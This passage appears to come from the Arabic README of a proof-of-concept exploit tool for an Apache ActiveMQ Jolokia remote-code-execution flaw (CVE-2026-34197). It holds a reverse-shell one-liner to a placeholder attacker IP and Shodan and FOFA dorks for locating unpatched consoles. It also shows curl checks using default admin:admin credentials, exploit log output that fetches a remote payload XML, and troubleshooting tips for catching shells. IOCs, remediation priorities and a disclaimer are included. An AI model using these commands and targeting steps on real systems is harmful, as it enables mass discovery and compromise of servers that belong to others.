-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
---
## الصيد والاستطلاع
أدلة مفصّلة للعثور على مثيلات Apache ActiveMQ المكشوفة باستخدام **Shodan** و**LeakIX** و**FOFA** و**Censys** و**ZoomEye** و**Google Dorks** — بما في ذلك أدوات البحث الخاصة بالإصدارات، وكشف Jolokia، واستخدام CLI/API، وخطوات التحقق من الأهداف، وقواعد SIEM/IDS، وأولويات المعالجة.
<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>
### أدوات Shodan السريعة```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### التحقق من الهدف```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] راجع الأدلة الكاملة في
docs/للحصول على عمليات البحث (dorks) الخاصة بالإصدارات، وفلاتر الجغرافيا، وأمثلة API، وقواعد IDS، وسير عمل التحقق خطوة بخطوة.
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **ملاحظة:** سيتضمن الجزء `rce*` أحرفًا عشوائية (مثل `rcek4m2x9ab`) لأن الأداة تقوم بعشوائية أسماء الموصلات.
### مؤشرات الاختراق (IOCs)
| المؤشر | الوصف |
|-----------|-------------|
| طلب `POST /api/jolokia/` مع `addNetworkConnector` | محاولة استغلال |
| طلب HTTP GET صادر من عملية ActiveMQ | تنزيل حمولة XML |
| طلب HTTP POST صادر من عملية ActiveMQ (استخراج مخرجات الأوامر) | استدعاء التقاط المخرجات |
| عناوين `vm://` URI مع `brokerConfig=xbean:http` | موصل خبيث |
| عمليات فرعية غير متوقعة من Java/ActiveMQ (`curl`, `wget`, `bash`) | تنفيذ أوامر / استخراج مخرجات |
---
## المعالجة
| الأولوية | الإجراء |
|----------|--------|
| **P0** | الترقية إلى ActiveMQ Classic **5.19.4** أو **6.2.3** |
| **P1** | تغيير بيانات اعتماد وحدة التحكم الافتراضية |
| **P2** | تقييد الوصول إلى المنفذ **8161** |
| **P3** | مراقبة سجلات الوسيط (broker) بحثًا عن عناوين `vm://` URI مع أنماط `xbean:http` |
---
## استكشاف الأخطاء وإصلاحها
| المشكلة | السبب المحتمل | الحل |
|---------|-------------|----------|
| `No payload request received within 15s` | لا يمكن للهدف الوصول إلى ATTACKER_IP الخاص بك | تحقق من الاتصال (راجع [دليل ATTACKER_IP](#understanding-attacker_ip---lhost)) |
| `Authentication failed (401)` | بيانات اعتماد خاطئة | جرّب `--no-auth` (ActiveMQ 6.0.0-6.1.1) أو ابحث عن بيانات الاعتماد الصحيحة |
| `Access forbidden (403)` | واجهة برمجة Jolokia مقيدة | قد يكون لدى الهدف قوائم تحكم وصول (ACLs) على `/api/jolokia/` — غير قابل للاستغلال عن بُعد |
| `Connection error` / `Could not connect` | الهدف معطّل أو المنفذ خاطئ | تحقق من إمكانية الوصول إلى `http://TARGET:8161/` |
| `Jolokia status=500: could not be registered in JMX` | موصل الاستغلال السابق ما زال مسجلاً | تقوم الأداة بإعادة المحاولة تلقائيًا باسم عشوائي جديد؛ حاول مرة أخرى |
| لا يعود اتصال الـ reverse shell | عنوان IP مختلف في `-l` مقابل أمر الصدفة، أو المنفذ لا يستمع | تأكد من استخدام نفس العنوان في كل مكان؛ ابدأ `nc -lvnp PORT` قبل الاستغلال |
| `No output received within 10s` | الهدف يفتقر إلى `curl` و `wget`، أو الأمر لا ينتج مخرجات stdout | لا يزال RCE يعمل — استخدم reverse shell للتفاعل الكامل |
| يُظهر التقاط المخرجات نتيجة فارغة | الأمر لم ينتج مخرجات (مثل `touch /tmp/test`) | متوقع للأوامر بدون مخرجات stdout؛ استخدم `ls /tmp/test` للتحقق |
| `OSError: Address already in use` على المنفذ 8888 | عملية أخرى أو تشغيل سابق يستخدم المنفذ | استخدم `-lp 9999` (أو أي منفذ متاح)، أو أنهِ العملية المحجوبة |
| المرحلة 1 في `version_check.py` بطيئة | عدد خيوط قليل أو زمن استجابة شبكة مرتفع | زد `--threads 20` أو `--threads 30` |
| يُظهر `version_check.py` `[VULNERABLE]` لكن المرحلة 2 تفشل | لا يمكن للهدف الوصول إلى عنوان IP الخاص بك، أو جدار الحماية يحظر HTTP الصادر | تحقق من ATTACKER_IP؛ جرّب `--wait 30` للشبكات البطيئة |
| يُظهر `version_check.py` `No Jolokia` لجميع الأهداف | واجهة برمجة Jolokia معطّلة أو على مسار غير قياسي | تحقق يدويًا باستخدام `curl -u admin:admin http://TARGET:8161/api/jolokia/` |
---
## المراجع
| المصدر | الرابط |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [التحليل الفني](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| إشعار Apache | [الإشعار الأمني](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| CVE ذات صلة | [CVE-2024-32114 — Jolokia بدون مصادقة](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| CVE ذات صلة | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## إخلاء المسؤولية
> [!WARNING]
> هذا الدليل البرهاني (proof-of-concept) مقدَّم **حصريًا للأغراض التعليمية وأبحاث الأمن المصرح بها**. الاستخدام غير المصرح به لهذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها **غير قانوني**. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub>طُوِّر بخبرة بواسطة <b>KONDOR DEV SECURITY CORP</b></sub><br>
<sub>رخصة MIT © 2026</sub>
</p>